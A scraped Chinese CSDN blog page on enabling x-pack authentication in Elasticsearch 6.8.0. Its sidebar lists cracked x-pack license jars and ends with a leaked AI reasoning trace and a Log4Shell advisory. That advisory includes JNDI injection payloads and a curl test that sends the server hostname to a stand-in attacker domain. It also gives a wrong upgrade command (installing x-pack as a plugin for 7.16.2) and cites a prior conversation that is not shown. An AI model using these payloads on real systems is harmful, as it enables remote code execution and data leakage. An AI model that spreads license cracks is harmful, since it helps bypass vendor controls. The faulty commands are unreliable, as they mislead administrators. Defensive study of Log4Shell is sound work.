Elastic Search 6.8.0使用x-pack认证

最新推荐文章于 2025-06-24 13:48:32 发布

原创

最新推荐文章于 2025-06-24 13:48:32 发布 · 置顶 · 4.9k 阅读

2 ·

CC 4.0 BY-SA版权

文章标签：

#中间件

本文介绍了如何在Elastic Search 6.8.0中实现http请求的基于用户名和密码的认证。内容包括下载ES 6.8.0、配置安全认证、生成密码、重启服务以及使用Java客户端和Maven依赖进行验证。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Elastic Search 6.8.0http请求基于用户名密码方式认证实现

使用elasticsearch-xpack基于用户名密码进行安全认证。

ES6.8.0下载地址
ES 安装目录：/home/kduser/ljb/elastic/elasticsearch-6.8.0
安装步骤：

更改Elastic Search的配置文件

cd /home/kduser/ljb/elastic/elasticsearch-6.8.0/config
vim elasticsearch.yml

添加以下内容

xpack.security.enabled: true
network.host: 172.18.1.80 #节点IP
xpack.security.transport.ssl.enabled: true

启动elasticsearch

cd /home/kduser/ljb/elastic/elasticsearch-6.8.0/bin
./elasticsearch

复制一个窗口并切入bin目录,手动生成密码

cd /home/kduser/ljb/elastic/elasticsearch-6.8.0/bin
./elasticsearch-setup-passwords interactive

重启elasticearch
验证

最低0.47元/天解锁文章

200万优质内容无限畅学

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

程序员赖子

关注关注

0
点赞
踩
2

收藏

觉得还不错? 一键收藏
5
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

专栏目录

java x pack elastic_Elasticsearch增加X-Pack插件后如何使用Java客户端访问

weixin_31304817的博客

02-28

601

Elasticsearch没有安装X-Pack插件时创建TransportClient只需要依赖org.elasticsearch.clienttransport5.3.0然后使用Settings settings = Settings.builder().put("cluster.name", "myClusterName").build();TransportClient client = n...

ElasticSearch添加xpack认证

liu_xue_xue的专栏

08-31

797

要重新申明es client，重新初始化TransportClient 以及ElasticsearchTemplate。说明：如果不需要xpcak认证，则只需要将设置。application.yml 配置。三、es整合xpack实现。其他代码保持不变即可。一、新增xpack依赖包。二、在其他工程中引用。然后进入工程执行。

5 条评论您还未登录，请先登录后发表或查看评论

elasticsearch实战之xpack安装、解密和更换证书以及head加密

最美dee时光的博客

08-19

2120

前面有专门讲解xpack的安装和破解，但介于整个过程比较繁琐，所以本章节简化操作。准备工作： 1 环境介绍 ip 软件版本节点属性节点环境操作系统 192.168.116.2 elaticsearch6.5.1 master java、node CentOS 7.6.1810 192.168.116.3 elaticsearch6.5.1 slave java、node CentOS 7.6.1810 192.168.116.4 elaticsearch6.5.1 slave

Elasticsearch 8.X、9.X 忘记密码，怎么办？

m0_73735578的博客

06-24

351

Elasticsearch 官方为 8.X、9.X 版本提供了专门的命令行工具，可用于重置内置用户（如 elastic）的密码，无需重启服务。忘记 Elasticsearch 8.X、9.X 密码并不可怕，官方工具可一键重置。建议重置后及时妥善保存新密码，并定期做好密码管理和备份，保障系统安全。如有特殊场景或遇到命令异常，可参考官方文档或社区讨论进一步排查。

Elasticsearch Kibna X-Pack 安装

find_zhi的专栏

02-11

541

环境MAC10.13.3 (17D47)1、安装Elasticsearch ，https://www.elastic.co/downloads/elasticsearch (根据系统选择版本)安装完以后直接解压打开。如果想启动elastic服务直接进入elasticsearch-{$version}(我的是elasticsearch-6.2.1),然后./bin/elasticsearch启动服务...

es-6.8.0以上版本开启权限认证x-pack配置

Mr.Bug的博客

03-30

9351

非常重要，如果生成密钥时没有绑定 dns 和 ip 等信息（直接回车生成的的密钥），创建客户端时必须加上 xpack.security.transport.ssl.verification_mode 属性，属性值为 certificate

ElasticSearch开启了x-pack插件添加账号密码功能后，Java案例连接ElasticSearch

波波的博客

08-06

1404

因为spring data整合的jar包是不支持elasticSearch的账号密码配置的，所以如果我们的ElasticSearch设置了账号密码，那么导入spring data jar包是行不通的，虽然spring data简化配置，但是只能用于没有elasticSearch没有设置账号密码，我们的ElasticSearch设置了账号密码的话，那么就需要该官网提供的client客户端进行连接，TransportClient，RestClient，但是因为官网说了ElasticSearch 8.0版本...

x-pack-core-6.8.0.zip

06-01

elk6.8.0 x-pack-core-6.8.0破解文件日志文件系统，直接替换掉文件

x-pack-sql-jdbc-6.8.0.jar

03-06

elasticSearch 6.8 客户端连接JAR包x-pack-sql-jdbc-6.8.0

x-pack-core-6.8.0-SNAPSHOT.jar

08-04

基于Elasticsearch 6.8.0源码编译而得，主要修改了其中的org.elasticsearch.license.LicenseVerifier.java类和org.elasticsearch.xpack.core.XPackBuild.java类，对x-pack/plugin/core模块代码重新编译而成，可适用...

x-pack-sql-jdbc-6.8.15.jar

03-31

连接es所需jar包 ...-- https://mvnrepository.com/artifact/org.elasticsearch.plugin/x-pack-sql-jdbc --> <groupId>org.elasticsearch.plugin <artifactId>x-pack-sql-jdbc <version>6.8.15 </dependency>

elasticsearch6.8+x-pack密码验证整合

杜海的博客

11-09

1671

Elasticsearch官网于2016年发布Low Level REST客户端，该客户端基于Apache HTTP客户端，允许通过HTTP协议与任何版本的Elasticsearch集群通信。在Low Level REST客户端的基础上，Elasticsearch发布了High Level REST Client。 Elasticsearch 7.0中已经弃用Transport Client，在8.0中完全移除它。因此在实际开发中建议您使用Java REST Client（RestHighLevelCli

ElasticSearch 5学习(1)——安装Elasticsearch、Kibana和X-Pack

weixin_30530523的博客

12-09

197

安装准备：安装Elasticsearch唯一的要求是安装官方新版的Java，包括对应的Jdk。安装Elasticsearch 首先到官网下载最新版本的Elasticsearch压缩包。可以使用命令，注意将最新的可用的下载链接填入： curl -L -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.0...

龙叔学ES：Elasticsearch XPACK安全认证

最新发布

07-05

<think>嗯，用户这次查询的是编号为101025的Elasticsearch漏洞，但根据我的知识库，Elastic官方漏洞编号体系并不使用纯数字格式（如101025），而是采用ESA年份序列号或CVE编号。用户可能是混淆了不同厂商的漏洞命名方式。注意到用户上次询问的ESA-2019-04包含三个CVE，而这次提到的101025让我联想到Qualys的漏洞ID QID-101025——这是个常见的Log4j漏洞扫描标识。结合Elasticsearch曾曝光的Log4j漏洞（如CVE-2021-44228），用户很可能在寻找Log4j在Elasticsearch中的影响。需要验证这个关联：首先确认Elasticsearch历史漏洞中是否存在与QID-101025对应的条目。查阅资料显示，QID-101025通常指代CVE-2021-44228（Log4Shell），而Elasticsearch在6.8.22/7.16.1之前版本确实受此影响。这与用户提供的编号形成逻辑链条。用户可能实际需求是：如何确认自己的Elasticsearch集群是否受Log4Shell影响及修复方案。考虑到用户连续询问安全漏洞，ta可能是运维或安全人员，需要具体操作指南而非泛泛而谈。因此回复将聚焦三点：漏洞验证命令、升级路径、临时缓解措施（如JVM参数修改）。特别要注意上次对话中用户关注过Log4j反序列化漏洞（ESA-2019-04中的CVE-2019-7613），说明ta的环境可能存在遗留风险。需强调本次漏洞（Log4Shell）的危害等级更高，必须优先处理。最后生成的问题需延续安全实践主题：如何扫描历史漏洞、多节点升级策略等实用场景，这比理论分析更符合用户角色需求。</think>根据您的查询，Elasticsearch 漏洞编号 **101025** 可能指向 **Log4j 远程代码执行漏洞（CVE-2021-44228）**，该漏洞在漏洞扫描系统中常被标记为 `QID-101025`。以下是关键信息及解决方案： --- ### **漏洞详情 (CVE-2021-44228)** 1. **漏洞类型** - **远程代码执行（RCE）**：攻击者通过构造恶意日志消息（如 `${jndi:ldap://攻击者IP/恶意类}`），触发 **Log4j 2.x 版本的反序列化漏洞**，实现任意代码执行[^1]。 - **影响范围**： - Elasticsearch 所有依赖 Log4j 2.x 的版本（**6.8.0–6.8.21**、**7.0.0–7.16.1**）[^2]。 - Kibana、Logstash 等关联组件。 2. **风险等级** - ⚠️ **CVSS 3.1 评分：10.0（最高危）** - 无需认证即可远程利用，可直接控制服务器。 --- ### **修复方案** #### 1. **立即升级（首选方案）** | 产品 | 受影响版本 | 安全修复版本 | |---------------|------------------|----------------------| | Elasticsearch | 6.8.0–6.8.21 | **≥ 6.8.22** | | | 7.0.0–7.16.1 | **≥ 7.16.2** | | Kibana | 同 Elasticsearch | 同步升级至对应版本 | ```bash # Elasticsearch 升级命令示例 $ bin/elasticsearch-plugin install x-pack --version 7.16.2 ``` #### 2. **临时缓解措施（若无法立即升级）** - **添加 JVM 参数**： ```bash # 在 jvm.options 中增加： -Dlog4j2.formatMsgNoLookups=true ``` - **移除漏洞类**（强制措施）： ```bash # 删除 log4j-core 中的 JndiLookup 类 zip -q -d /path/to/log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class ``` - **环境变量防护**： ```bash export LOG4J_FORMAT_MSG_NO_LOOKUPS=true # Linux/macOS set LOG4J_FORMAT_MSG_NO_LOOKUPS=true # Windows ``` --- ### **漏洞验证方法** 1. **检查版本**： ```bash curl -XGET 'http://localhost:9200' | grep "number" # 输出示例："number" : "7.16.1" → 存在风险 ``` 2. **扫描漏洞**： - 使用开源工具检测： ```bash python log4j-scan.py -u http://elasticsearch-server:9200 ``` - 或通过 DNS 日志测试（谨慎操作）： ```bash curl -XPOST 'http://localhost:9200/_search' -H 'Content-Type: application/json' -d '{ "query": { "match_all": {} }, "log": "${jndi:dns://${hostName}.attacker-domain.com/a}" }' ``` > ✅ 若 DNS 请求成功，证明漏洞存在。 --- ### **后续安全建议** 1. **启用 Elasticsearch 安全功能**： ```yaml # elasticsearch.yml xpack.security.enabled: true ``` 2. **网络隔离**： - 限制 Elasticsearch 集群的入站流量（仅允许可信 IP 访问 9200/9300 端口）。 3. **审计日志监控**： - 启用审计日志并配置告警规则： ```yaml xpack.security.audit.enabled: true ``` > 官方修复公告：[Elastic CVE-2021-44228 Advisory](https://discuss.elastic.co/t/elastic-stack-7-16-2-and-6-8-22-security-update/291861) --- ###